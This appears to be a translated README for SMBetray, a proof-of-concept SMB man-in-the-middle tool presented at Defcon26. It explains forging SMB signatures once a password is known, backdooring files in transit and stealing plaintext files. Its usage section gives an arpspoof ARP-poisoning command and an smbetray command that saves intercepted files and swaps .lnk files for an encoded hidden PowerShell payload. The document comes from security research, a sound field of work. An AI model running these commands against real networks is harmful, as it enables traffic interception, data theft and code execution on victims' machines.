版本 1.0.0。该工具是一个概念验证,展示攻击者能够拦截和修改不安全的 SMB 连接,以及在已知凭据的情况下破坏某些安全 SMB 连接的能力。
在 Defcon26 上发布,题为“SMBetray - Backdooring and Breaking Signatures”
在 SMB 连接中,保护服务器与客户端之间传输数据完整性的安全机制是 SMB 签名和加密。当使用 SMB 签名时,SMB 数据包中的签名基于在身份验证阶段通过网络明文传输的信息以及用户密码派生出的密钥。如果已知用户密码,攻击者可以重新创建 SessionBaseKey 及所有其他 SMB 密钥,并利用它们修改 SMB 数据包并重新签名,使得服务器和客户端将其视为有效且合法的数据包。此外,除了域控制器外,大多数设备默认禁用签名,因此破解签名的需求很少。
该工具的目标是将中间人攻击下的 SMB 重心从通过中继连接攻击服务器,转向在机会出现时通过恶意文件以及被植入后门/替换的数据攻击客户端。最后,由于加密很少使用,该工具至少允许窃取以明文形式在网络中传输的文件——这对于系统枚举可能很有用,或者如果截获的数据具有敏感性(PCI、PII 等)则可能造成损害。
更多背景信息和演示可参见 https://blog.quickbreach.io/smbetray-backdooring-and-breaking-signatures/
需要系统使用 iptables
sudo bash install.sh
首先,在受害者与其网关或目标网络共享之间运行双向 ARP 缓存中毒攻击,例如:
sudo arpspoof -i <iface> -c both -t <target_ip> -r <gateway_ip>
然后使用一些攻击模块运行 smbetray:
sudo ./smbetray.py --passive ./StolenFilesFolder --lnkSwapAll "powershell -noP -sta -w 1 -enc AABCAD....(etc)" -I eth0
该工具的演示可参见:https://blog.quickbreach.io/smbetray-backdooring-and-breaking-signatures/
更多信息即将发布——目前该工具不支持仅 SMBv1 的连接,这在 99% 的情况下不是问题。代码虽丑,但性格很好。